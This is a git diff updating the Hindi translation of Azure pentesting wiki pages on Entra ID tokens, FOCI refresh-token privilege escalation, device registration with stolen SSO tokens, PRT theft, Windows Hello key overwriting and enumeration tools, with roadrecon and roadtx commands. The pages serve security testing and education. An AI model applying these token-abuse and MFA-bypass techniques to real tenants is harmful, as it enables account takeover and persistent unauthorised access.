[https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview) - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions) diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index dae93dd42..d818f9d29 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -43,14 +43,14 @@ Entra ID माइक्रोसॉफ्ट का क्लाउड-आध OIDC में **तीन प्रकार के टोकन** होते हैं: - [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** क्लाइंट इस टोकन को संसाधन सर्वर को **संसाधनों तक पहुँचने** के लिए प्रस्तुत करता है। इसे केवल उपयोगकर्ता, क्लाइंट और संसाधन के विशिष्ट संयोजन के लिए उपयोग किया जा सकता है और **समाप्ति तक रद्द नहीं किया जा सकता** - जो कि डिफ़ॉल्ट रूप से 1 घंटा है। -- **ID Tokens**: क्लाइंट को यह **टोकन प्राधिकरण सर्वर से प्राप्त होता है**। इसमें उपयोगकर्ता के बारे में बुनियादी जानकारी होती है। यह **उपयोगकर्ता और क्लाइंट के विशिष्ट संयोजन से बंधा होता है**। -- **Refresh Tokens**: एक्सेस टोकन के साथ क्लाइंट को प्रदान किया जाता है। इसका उपयोग **नए एक्सेस और ID टोकन प्राप्त करने** के लिए किया जाता है। यह उपयोगकर्ता और क्लाइंट के विशिष्ट संयोजन से बंधा होता है और इसे रद्द किया जा सकता है। डिफ़ॉल्ट समाप्ति **90 दिन** है निष्क्रिय रिफ्रेश टोकन के लिए और **सक्रिय टोकन के लिए कोई समाप्ति नहीं** (एक रिफ्रेश टोकन से नए रिफ्रेश टोकन प्राप्त करना संभव है)। -- एक रिफ्रेश टोकन को एक **`aud`** से, कुछ **scopes** से, और एक **tenant** से बंधा होना चाहिए और इसे केवल उस aud, scopes (और अधिक नहीं) और tenant के लिए एक्सेस टोकन उत्पन्न करने में सक्षम होना चाहिए। हालाँकि, यह **FOCI एप्लिकेशन टोकन** के साथ ऐसा नहीं है। +- **ID Tokens**: क्लाइंट को यह **टोकन प्राधिकरण सर्वर से** प्राप्त होता है। इसमें उपयोगकर्ता के बारे में बुनियादी जानकारी होती है। यह **उपयोगकर्ता और क्लाइंट के विशिष्ट संयोजन से बंधा होता है**। +- **Refresh Tokens**: क्लाइंट को एक्सेस टोकन के साथ प्रदान किया जाता है। इसका उपयोग **नए एक्सेस और ID टोकन प्राप्त करने** के लिए किया जाता है। यह उपयोगकर्ता और क्लाइंट के विशिष्ट संयोजन से बंधा होता है और इसे रद्द किया जा सकता है। निष्क्रिय रिफ्रेश टोकनों के लिए डिफ़ॉल्ट समाप्ति **90 दिन** है और सक्रिय टोकनों के लिए **कोई समाप्ति नहीं** है (एक रिफ्रेश टोकन से नए रिफ्रेश टोकन प्राप्त करना संभव है)। +- एक रिफ्रेश टोकन को एक **`aud`**, कुछ **scopes**, और एक **tenant** से जोड़ा जाना चाहिए और इसे केवल उस aud, scopes (और अधिक नहीं) और tenant के लिए एक्सेस टोकन उत्पन्न करने में सक्षम होना चाहिए। हालाँकि, यह **FOCI एप्लिकेशन टोकनों** के साथ ऐसा नहीं है। - एक रिफ्रेश टोकन एन्क्रिप्टेड होता है और केवल माइक्रोसॉफ्ट इसे डिक्रिप्ट कर सकता है। -- नया रिफ्रेश टोकन प्राप्त करने से पिछले रिफ्रेश टोकन रद्द नहीं होता है। +- नया रिफ्रेश टोकन प्राप्त करने से पिछले रिफ्रेश टोकन को रद्द नहीं किया जाता है। > [!WARNING] -> **Conditional access** के लिए जानकारी **JWT** के अंदर **स्टोर** की जाती है। इसलिए, यदि आप **अनुमत IP पते** से **टोकन का अनुरोध करते हैं**, तो वह **IP** टोकन में **स्टोर** किया जाएगा और फिर आप उस टोकन का उपयोग **गैर-अनुमत IP से संसाधनों तक पहुँचने** के लिए कर सकते हैं। +> **Conditional access** के लिए जानकारी **JWT** के अंदर **स्टोर** की जाती है। इसलिए, यदि आप **अनुमत IP पते** से **टोकन** का अनुरोध करते हैं, तो वह **IP** टोकन में **स्टोर** किया जाएगा और फिर आप उस टोकन का उपयोग **गैर-अनुमत IP से संसाधनों तक पहुँचने** के लिए कर सकते हैं। ### Access Tokens "aud" @@ -63,7 +63,7 @@ OIDC में **तीन प्रकार के टोकन** होते
-aud उदाहरण +aud examples - **aad-graph (Azure Active Directory Graph API)**: पुराने Azure AD Graph API (deprecated) तक पहुँचने के लिए उपयोग किया जाता है, जो एप्लिकेशनों को Azure Active Directory (Azure AD) में निर्देशिका डेटा पढ़ने और लिखने की अनुमति देता है। - `https://graph.windows.net/` @@ -71,7 +71,7 @@ OIDC में **तीन प्रकार के टोकन** होते * **arm (Azure Resource Manager)**: Azure Resource Manager API के माध्यम से Azure संसाधनों का प्रबंधन करने के लिए उपयोग किया जाता है। इसमें वर्चुअल मशीनों, स्टोरेज खातों, और अधिक जैसे संसाधनों को बनाने, अपडेट करने और हटाने जैसी क्रियाएँ शामिल हैं। - `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Azure Batch तक पहुँचने के लिए उपयोग किया जाता है, जो क्लाउड में बड़े पैमाने पर समानांतर और उच्च-प्रदर्शन कंप्यूटिंग एप्लिकेशनों को कुशलतापूर्वक सक्षम करता है। +- **batch (Azure Batch Services)**: Azure Batch तक पहुँचने के लिए उपयोग किया जाता है, एक सेवा जो क्लाउड में बड़े पैमाने पर समानांतर और उच्च-प्रदर्शन कंप्यूटिंग एप्लिकेशनों को कुशलतापूर्वक सक्षम करती है। - `https://batch.core.windows.net/` * **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1 के साथ बातचीत करने के लिए उपयोग किया जाता है, जो एक स्केलेबल डेटा स्टोरेज और एनालिटिक्स सेवा है। @@ -80,7 +80,7 @@ OIDC में **तीन प्रकार के टोकन** होते - **media (Azure Media Services)**: Azure Media Services तक पहुँचने के लिए उपयोग किया जाता है, जो वीडियो और ऑडियो सामग्री के लिए क्लाउड-आधारित मीडिया प्रसंस्करण और वितरण सेवाएँ प्रदान करता है। - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Microsoft Graph API तक पहुँचने के लिए उपयोग किया जाता है, जो Microsoft 365 सेवाओं के डेटा के लिए एकीकृत एंडपॉइंट है। यह आपको Azure AD, Office 365, Enterprise Mobility, और Security सेवाओं जैसे सेवाओं से डेटा और अंतर्दृष्टि तक पहुँचने की अनुमति देता है। +* **ms-graph (Microsoft Graph API)**: Microsoft Graph API तक पहुँचने के लिए उपयोग किया जाता है, जो Microsoft 365 सेवाओं के डेटा के लिए एकीकृत एंडपॉइंट है। यह आपको Azure AD, Office 365, Enterprise Mobility, और Security सेवाओं जैसी सेवाओं से डेटा और अंतर्दृष्टि तक पहुँचने की अनुमति देता है। - `https://graph.microsoft.com` - **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL, और MariaDB जैसे ओपन-सोर्स रिलेशनल डेटाबेस इंजनों के लिए Azure Database सेवाओं तक पहुँचने के लिए उपयोग किया जाता है। @@ -92,7 +92,7 @@ OIDC में **तीन प्रकार के टोकन** होते एक एक्सेस टोकन का स्कोप एक्सेस टोकन JWT के अंदर scp कुंजी के अंदर स्टोर किया जाता है। ये स्कोप परिभाषित करते हैं कि एक्सेस टोकन को क्या पहुँच प्राप्त है। -यदि एक JWT को एक विशिष्ट API से संपर्क करने की अनुमति है लेकिन **अनुरोधित क्रिया** को करने के लिए **स्कोप नहीं है**, तो यह उस JWT के साथ क्रिया करने में **असफल रहेगा**। +यदि एक JWT को किसी विशिष्ट API से संपर्क करने की अनुमति है लेकिन **अनुरोधित क्रिया** को करने के लिए **स्कोप नहीं है**, तो यह उस JWT के साथ क्रिया करने में **असफल रहेगा**। ### Get refresh & access token example ```python @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -147,13 +146,13 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCI Tokens Privilege Escalation -पहले उल्लेख किया गया था कि रिफ्रेश टोकन को **स्कोप** से जोड़ा जाना चाहिए जिसके साथ इसे उत्पन्न किया गया था, **एप्लिकेशन** और **टेनेंट** से जिसे यह उत्पन्न किया गया था। यदि इनमें से कोई भी सीमा टूटती है, तो विशेषाधिकार बढ़ाना संभव है क्योंकि अन्य संसाधनों और टेनेंट के लिए एक्सेस टोकन उत्पन्न करना संभव होगा जिन तक उपयोगकर्ता की पहुंच है और जिनमें मूल रूप से निर्धारित से अधिक स्कोप हैं। +पहले उल्लेख किया गया था कि रिफ्रेश टोकन को **स्कोप** से जोड़ा जाना चाहिए जिसके साथ इसे उत्पन्न किया गया था, **ऐप्लिकेशन** और **टेनेंट** से जिसे यह उत्पन्न किया गया था। यदि इनमें से कोई भी सीमा टूटती है, तो विशेषाधिकार बढ़ाना संभव है क्योंकि अन्य संसाधनों और टेनेंट के लिए एक्सेस टोकन उत्पन्न करना संभव होगा जिन तक उपयोगकर्ता की पहुंच है और जिनके लिए अधिक स्कोप हैं जितना कि मूल रूप से इरादा किया गया था। -इसके अलावा, **यह सभी रिफ्रेश टोकनों के साथ संभव है** [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra खाते, Microsoft व्यक्तिगत खाते, और Facebook और Google जैसे सामाजिक खाते) क्योंकि [**दस्तावेज़**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) में उल्लेख किया गया है: "रिफ्रेश टोकन उपयोगकर्ता और क्लाइंट के संयोजन से बंधे होते हैं, लेकिन **किसी संसाधन या टेनेंट से जुड़े नहीं होते**। एक क्लाइंट रिफ्रेश टोकन का उपयोग करके एक्सेस टोकन प्राप्त कर सकता है **किसी भी संसाधन और टेनेंट के संयोजन में** जहां उसे ऐसा करने की अनुमति है। रिफ्रेश टोकन एन्क्रिप्टेड होते हैं और केवल Microsoft identity platform उन्हें पढ़ सकता है।" +इसके अलावा, **यह सभी रिफ्रेश टोकनों के साथ संभव है** [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra खाते, Microsoft व्यक्तिगत खाते, और फेसबुक और गूगल जैसे सामाजिक खाते) क्योंकि [**दस्तावेज़**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) में उल्लेख किया गया है: "रिफ्रेश टोकन उपयोगकर्ता और क्लाइंट के संयोजन से बंधे होते हैं, लेकिन **किसी संसाधन या टेनेंट से बंधे नहीं होते**। एक क्लाइंट रिफ्रेश टोकन का उपयोग करके एक्सेस टोकन प्राप्त कर सकता है **किसी भी संसाधन और टेनेंट के संयोजन में** जहां इसे ऐसा करने की अनुमति है। रिफ्रेश टोकन एन्क्रिप्टेड होते हैं और केवल Microsoft identity platform इन्हें पढ़ सकता है।" इसके अलावा, ध्यान दें कि FOCI एप्लिकेशन सार्वजनिक एप्लिकेशन हैं, इसलिए **सर्वर पर प्रमाणीकरण के लिए कोई रहस्य आवश्यक नहीं है**। -फिर ज्ञात FOCI क्लाइंट्स [**मूल शोध**](https://github.com/secureworks/family-of-client-ids-research/tree/main) में रिपोर्ट किए गए हैं, जिन्हें [**यहां पाया जा सकता है**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)। +फिर ज्ञात FOCI क्लाइंट्स [**मूल शोध**](https://github.com/secureworks/family-of-client-ids-research/tree/main) में रिपोर्ट किए गए हैं जिन्हें [**यहां पाया जा सकता है**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)। ### Get different scope diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index ed8cf3a39..e977de360 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -6,36 +6,36 @@ जब एक डिवाइस AzureAD में शामिल होता है, तो AzureAD में एक नया ऑब्जेक्ट बनाया जाता है। -जब एक डिवाइस को पंजीकृत किया जाता है, तो **उपयोगकर्ता से उसके खाते के साथ लॉगिन करने के लिए कहा जाता है** (यदि आवश्यक हो तो MFA के लिए पूछना), फिर यह डिवाइस पंजीकरण सेवा के लिए टोकन का अनुरोध करता है और फिर अंतिम पुष्टि संकेत के लिए पूछता है। +जब एक डिवाइस को रजिस्टर किया जाता है, तो **उपयोगकर्ता से उसके खाते के साथ लॉगिन करने के लिए कहा जाता है** (यदि आवश्यक हो तो MFA के लिए पूछता है), फिर यह डिवाइस रजिस्ट्रेशन सेवा के लिए टोकन का अनुरोध करता है और फिर अंतिम पुष्टि प्रॉम्प्ट के लिए पूछता है। -फिर, डिवाइस में दो RSA की जोड़े उत्पन्न होते हैं: **डिवाइस कुंजी** (**सार्वजनिक** कुंजी) जिसे **AzureAD** को भेजा जाता है और **परिवहन** कुंजी (**निजी** कुंजी) जिसे यदि संभव हो तो TPM में संग्रहीत किया जाता है। +फिर, डिवाइस में दो RSA कीपैर बनाए जाते हैं: **डिवाइस की** (**सार्वजनिक** कुंजी) जिसे **AzureAD** को भेजा जाता है और **ट्रांसपोर्ट** कुंजी (**निजी** कुंजी) जिसे यदि संभव हो तो TPM में संग्रहीत किया जाता है। -फिर, **ऑब्जेक्ट** **AzureAD** में उत्पन्न होता है (Intune में नहीं) और AzureAD डिवाइस को एक **प्रमाणपत्र** वापस देता है जिसे उसने हस्ताक्षरित किया है। आप यह जांच सकते हैं कि **डिवाइस AzureAD से जुड़ा है** और **प्रमाणपत्र** के बारे में जानकारी (जैसे कि क्या यह TPM द्वारा सुरक्षित है)। +फिर, **ऑब्जेक्ट** **AzureAD** में (Intune में नहीं) उत्पन्न होता है और AzureAD डिवाइस को एक **प्रमाणपत्र** वापस देता है जिसे इसके द्वारा हस्ताक्षरित किया गया है। आप यह जांच सकते हैं कि **डिवाइस AzureAD से जुड़ा है** और **प्रमाणपत्र** के बारे में जानकारी (जैसे कि क्या यह TPM द्वारा सुरक्षित है)। ```bash dsregcmd /status ``` -After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.** +डिवाइस पंजीकरण के बाद, **प्राथमिक रिफ्रेश टोकन** LSASS CloudAP मॉड्यूल द्वारा अनुरोध किया जाता है और डिवाइस को दिया जाता है। PRT के साथ **सत्र कुंजी भी प्रदान की जाती है जिसे केवल डिवाइस ही डिक्रिप्ट कर सकता है** (परिवहन कुंजी के सार्वजनिक कुंजी का उपयोग करके) और इसे **PRT का उपयोग करने के लिए आवश्यक है।** -For more information about what is a PRT check: +PRT क्या है, इसके बारे में अधिक जानकारी के लिए देखें: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -### TPM - Trusted Platform Module +### TPM - ट्रस्टेड प्लेटफॉर्म मॉड्यूल -The **TPM** **की रक्षा करता है** against key **निकासी** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ -But it **की रक्षा नहीं करता** against **sniffing** the physical connection between the TPM and CPU or **using the cryptographic material** in the TPM while the system is running from a process with **SYSTEM** rights. +**TPM** **कुंजी** **निकासी** के खिलाफ एक बंद डिवाइस (यदि पिन द्वारा सुरक्षित है) से और OS परत से निजी सामग्री निकालने से **सुरक्षा** करता है।\ +लेकिन यह **TPM और CPU के बीच भौतिक कनेक्शन की स्निफिंग** या **SYSTEM** अधिकारों वाले प्रक्रिया से सिस्टम चलने के दौरान TPM में **क्रिप्टोग्राफिक सामग्री** का उपयोग करने के खिलाफ **सुरक्षा** नहीं करता है। -If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys): +यदि आप निम्नलिखित पृष्ठ की जांच करते हैं, तो आप देखेंगे कि **PRT चुराना** **उपयोगकर्ता** की तरह पहुंच प्राप्त करने के लिए उपयोग किया जा सकता है, जो शानदार है क्योंकि **PRT डिवाइस में स्थित है**, इसलिए इसे उनसे चुराया जा सकता है (या यदि चुराया नहीं गया तो नए साइनिंग कुंजी उत्पन्न करने के लिए दुरुपयोग किया जा सकता है): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Registering a device with SSO tokens +## SSO टोकनों के साथ डिवाइस पंजीकरण -It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it: +एक हमलावर के लिए समझौता किए गए डिवाइस से Microsoft डिवाइस पंजीकरण सेवा के लिए एक टोकन अनुरोध करना और इसे पंजीकृत करना संभव होगा: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,14 +50,14 @@ registerdevice.py जो आपको **प्रमाणपत्र देगा जिसका उपयोग आप भविष्य में PRTs के लिए पूछने के लिए कर सकते हैं**। इसलिए स्थिरता बनाए रखना और **MFA को बायपास करना** क्योंकि नए डिवाइस को पंजीकृत करने के लिए उपयोग किया गया मूल PRT टोकन **पहले से ही MFA अनुमतियाँ दी गई थीं**। > [!TIP] -> ध्यान दें कि इस हमले को करने के लिए आपको **नए उपकरणों को पंजीकृत करने** की अनुमति की आवश्यकता होगी। इसके अलावा, एक उपकरण को पंजीकृत करना यह नहीं दर्शाता कि उपकरण **Intune में नामांकित होने की अनुमति दी जाएगी**। +> ध्यान दें कि इस हमले को करने के लिए आपको **नए उपकरणों को पंजीकृत करने** की अनुमति की आवश्यकता होगी। इसके अलावा, एक डिवाइस को पंजीकृत करना यह नहीं दर्शाता कि डिवाइस **Intune में नामांकित होने की अनुमति दी जाएगी**। > [!CAUTION] -> यह हमला सितंबर 2021 में ठीक किया गया था क्योंकि आप अब SSO टोकन का उपयोग करके नए उपकरणों को पंजीकृत नहीं कर सकते। हालाँकि, एक वैध तरीके से उपकरणों को पंजीकृत करना अभी भी संभव है (यदि आवश्यक हो तो उपयोगकर्ता नाम, पासवर्ड और MFA होना)। जांचें: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)। +> यह हमला सितंबर 2021 में ठीक किया गया था क्योंकि आप अब SSO टोकन का उपयोग करके नए उपकरणों को पंजीकृत नहीं कर सकते। हालाँकि, यह अभी भी एक वैध तरीके से उपकरणों को पंजीकृत करना संभव है (यदि आवश्यक हो तो उपयोगकर्ता नाम, पासवर्ड और MFA होना)। जांचें: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)। ## एक डिवाइस टिकट को ओवरराइट करना -यह संभव था कि **एक डिवाइस टिकट का अनुरोध करें**, **वर्तमान को ओवरराइट करें** और प्रवाह के दौरान **PRT चुराएं** (इसलिए TPM से इसे चुराने की आवश्यकता नहीं है। अधिक जानकारी के लिए [**इस वार्ता की जांच करें**](https://youtu.be/BduCn8cLV1A)। +यह **डिवाइस टिकट** **अनुरोध** करने, डिवाइस के वर्तमान को **ओवरराइट** करने और प्रवाह के दौरान **PRT चुराने** के लिए संभव था (इसलिए इसे TPM से चुराने की आवश्यकता नहीं है। अधिक जानकारी के लिए [**इस वार्ता की जांच करें**](https://youtu.be/BduCn8cLV1A)।
@@ -70,15 +70,15 @@ registerdevice.py हमले का सारांश: -- यह संभव है कि **SSO के माध्यम से एक डिवाइस से **पंजीकृत WHFB** कुंजी को **ओवरराइट** करें +- यह **SSO** के माध्यम से **पंजीकृत WHFB** कुंजी को **ओवरराइट** करना संभव है - यह **TPM सुरक्षा को पराजित करता है** क्योंकि कुंजी **नई कुंजी के निर्माण के दौरान स्निफ की जाती है** - यह **स्थिरता** भी प्रदान करता है
-उपयोगकर्ता Azure AD ग्राफ़ के माध्यम से अपनी स्वयं की searchableDeviceKey संपत्ति को संशोधित कर सकते हैं, हालाँकि, हमलावर के पास टेनेट में एक उपकरण होना चाहिए (फ्लाई पर पंजीकृत या एक वैध उपकरण से प्रमाणपत्र + कुंजी चुराई गई) और AAD ग्राफ़ के लिए एक मान्य एक्सेस टोकन होना चाहिए। +उपयोगकर्ता Azure AD ग्राफ़ के माध्यम से अपनी स्वयं की searchableDeviceKey संपत्ति को संशोधित कर सकते हैं, हालाँकि, हमलावर के पास टेनेट में एक डिवाइस होना चाहिए (फ्लाई पर पंजीकृत या एक वैध डिवाइस से प्रमाणपत्र + कुंजी चुराई गई) और AAD ग्राफ़ के लिए एक मान्य एक्सेस टोकन होना चाहिए। -फिर, यह एक नई कुंजी उत्पन्न करना संभव है: +फिर, एक नई कुंजी उत्पन्न करना संभव है: ```bash roadtx genhellokey -d -k tempkey.key ``` @@ -86,7 +86,7 @@ roadtx genhellokey -d -k tempkey.key
-एक उपयोगकर्ता से **device code phishing** के माध्यम से एक एक्सेस टोकन प्राप्त करना संभव है और पिछले चरणों का दुरुपयोग करके **उसकी एक्सेस चुराना**। अधिक जानकारी के लिए देखें: +एक उपयोगकर्ता से **device code phishing** के माध्यम से एक एक्सेस टोकन प्राप्त करना संभव है और पिछले चरणों का दुरुपयोग करके **उसकी पहुंच चुराना**। अधिक जानकारी के लिए देखें: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index ee82b0bcf..89bb89add 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -30,7 +30,7 @@ [**दस्तावेज़ीकरण**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) से निर्देश: -1. यदि अभी तक स्थापित नहीं है तो `brew` स्थापित करें: +1. यदि अभी तक `brew` स्थापित नहीं है, तो इसे स्थापित करें: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` @@ -51,7 +51,7 @@ brew upgrade powershell ### az cli -[**Azure कमांड-लाइन इंटरफेस (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) एक क्रॉस-प्लेटफ़ॉर्म टूल है जो Python में लिखा गया है, जो (अधिकतर) Azure और Entra ID संसाधनों का प्रबंधन और प्रशासन करने के लिए है। यह Azure से कनेक्ट करता है और कमांड लाइन या स्क्रिप्ट के माध्यम से प्रशासनिक आदेशों को निष्पादित करता है। +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) एक क्रॉस-प्लेटफ़ॉर्म टूल है जो Python में लिखा गया है, जो (अधिकतर) Azure और Entra ID संसाधनों का प्रबंधन और प्रशासन करने के लिए है। यह Azure से कनेक्ट करता है और कमांड लाइन या स्क्रिप्ट के माध्यम से प्रशासनिक आदेशों को निष्पादित करता है। [**स्थापना निर्देशों के लिए इस लिंक का पालन करें¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install)। @@ -63,7 +63,7 @@ Azure CLI में आदेशों को इस पैटर्न का ```bash az account management-group list --output table --debug ``` -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +एक **MitM** करने के लिए टूल पर और **सभी अनुरोधों** की मैन्युअल रूप से जांच करने के लिए आप कर सकते हैं: {{#tabs }} {{#tab name="Bash" }} @@ -93,7 +93,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" ### Az PowerShell -Azure PowerShell एक मॉड्यूल है जिसमें Azure संसाधनों को सीधे PowerShell कमांड लाइन से प्रबंधित करने के लिए cmdlets होते हैं। +Azure PowerShell एक मॉड्यूल है जिसमें Azure संसाधनों को PowerShell कमांड लाइन से सीधे प्रबंधित करने के लिए cmdlets होते हैं। [**स्थापना निर्देशों**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell) के लिए इस लिंक का पालन करें। @@ -105,27 +105,27 @@ Azure PowerShell AZ मॉड्यूल में कमांड इस प ```bash Get-AzResourceGroup -Debug ``` -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +एक **MitM** करने के लिए और **सभी अनुरोधों** की जांच करने के लिए जो यह मैन्युअल रूप से भेज रहा है, आप पर्यावरण चर `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं। ### Microsoft Graph PowerShell Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत क्वेरी का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है। -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +[**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) के लिए इस लिंक का पालन करें। -Commands in Microsoft Graph PowerShell are structured like: `-Mg ` +Microsoft Graph PowerShell में कमांड इस प्रकार संरचित होते हैं: `-Mg ` #### Debug Microsoft Graph PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: +पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को कैसे भेज रहा है: ```bash Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Azure Active Directory (AD) मॉड्यूल, जो अब **अवशिष्ट** है, Azure AD संसाधनों को प्रबंधित करने के लिए Azure PowerShell का हिस्सा है। यह Entra ID में उपयोगकर्ताओं, समूहों और अनुप्रयोग पंजीकरणों को प्रबंधित करने के लिए cmdlets प्रदान करता है। +Azure Active Directory (AD) मॉड्यूल, जो अब **deprecated** है, Azure AD संसाधनों को प्रबंधित करने के लिए Azure PowerShell का हिस्सा है। यह Entra ID में उपयोगकर्ताओं, समूहों और अनुप्रयोग पंजीकरणों को प्रबंधित करने के लिए cmdlets प्रदान करता है। > [!TIP] > इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है -[**स्थापना निर्देशों**](https://www.powershellgallery.com/packages/AzureAD) के लिए इस लिंक का पालन करें। +इस लिंक पर [**स्थापना निर्देश**](https://www.powershellgallery.com/packages/AzureAD) के लिए जाएं। diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 7cf2a49f0..2c1ea6ef7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -6,59 +6,59 @@ ### On-Prem मशीनें जो क्लाउड से जुड़ी हैं -एक मशीन को क्लाउड से जोड़ने के विभिन्न तरीके हैं: +क्लाउड से जुड़ने के विभिन्न तरीके हैं: #### Azure AD से जुड़ी
-#### कार्यस्थल से जुड़ी +#### Workplace से जुड़ी

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

-#### हाइब्रिड से जुड़ी +#### Hybrid से जुड़ी

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

-#### AADJ या हाइब्रिड पर कार्यस्थल से जुड़ी +#### AADJ या Hybrid पर Workplace से जुड़ी

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

-### टोकन और सीमाएँ +### Tokens और सीमाएँ -Azure AD में, विशिष्ट सीमाओं के साथ विभिन्न प्रकार के टोकन होते हैं: +Azure AD में, विभिन्न प्रकार के टोकन होते हैं जिनकी विशिष्ट सीमाएँ होती हैं: -- **एक्सेस टोकन**: APIs और Microsoft Graph जैसे संसाधनों तक पहुँचने के लिए उपयोग किया जाता है। ये एक विशिष्ट क्लाइंट और संसाधन से जुड़े होते हैं। -- **रीफ्रेश टोकन**: नए एक्सेस टोकन प्राप्त करने के लिए अनुप्रयोगों को जारी किए जाते हैं। इन्हें केवल उसी अनुप्रयोग द्वारा या अनुप्रयोगों के समूह द्वारा उपयोग किया जा सकता है, जिन्हें जारी किया गया था। -- **प्राइमरी रीफ्रेश टोकन (PRT)**: Azure AD से जुड़े, पंजीकृत, या हाइब्रिड जुड़े उपकरणों पर सिंगल साइन-ऑन के लिए उपयोग किया जाता है। इन्हें ब्राउज़र साइन-इन प्रवाह में और उपकरण पर मोबाइल और डेस्कटॉप अनुप्रयोगों में साइन इन करने के लिए उपयोग किया जा सकता है। -- **Windows Hello for Business कुंजी (WHFB)**: पासवर्ड रहित प्रमाणीकरण के लिए उपयोग किया जाता है। इसका उपयोग प्राइमरी रीफ्रेश टोकन प्राप्त करने के लिए किया जाता है। +- **Access tokens**: APIs और Microsoft Graph जैसी संसाधनों तक पहुँचने के लिए उपयोग किए जाते हैं। ये एक विशिष्ट क्लाइंट 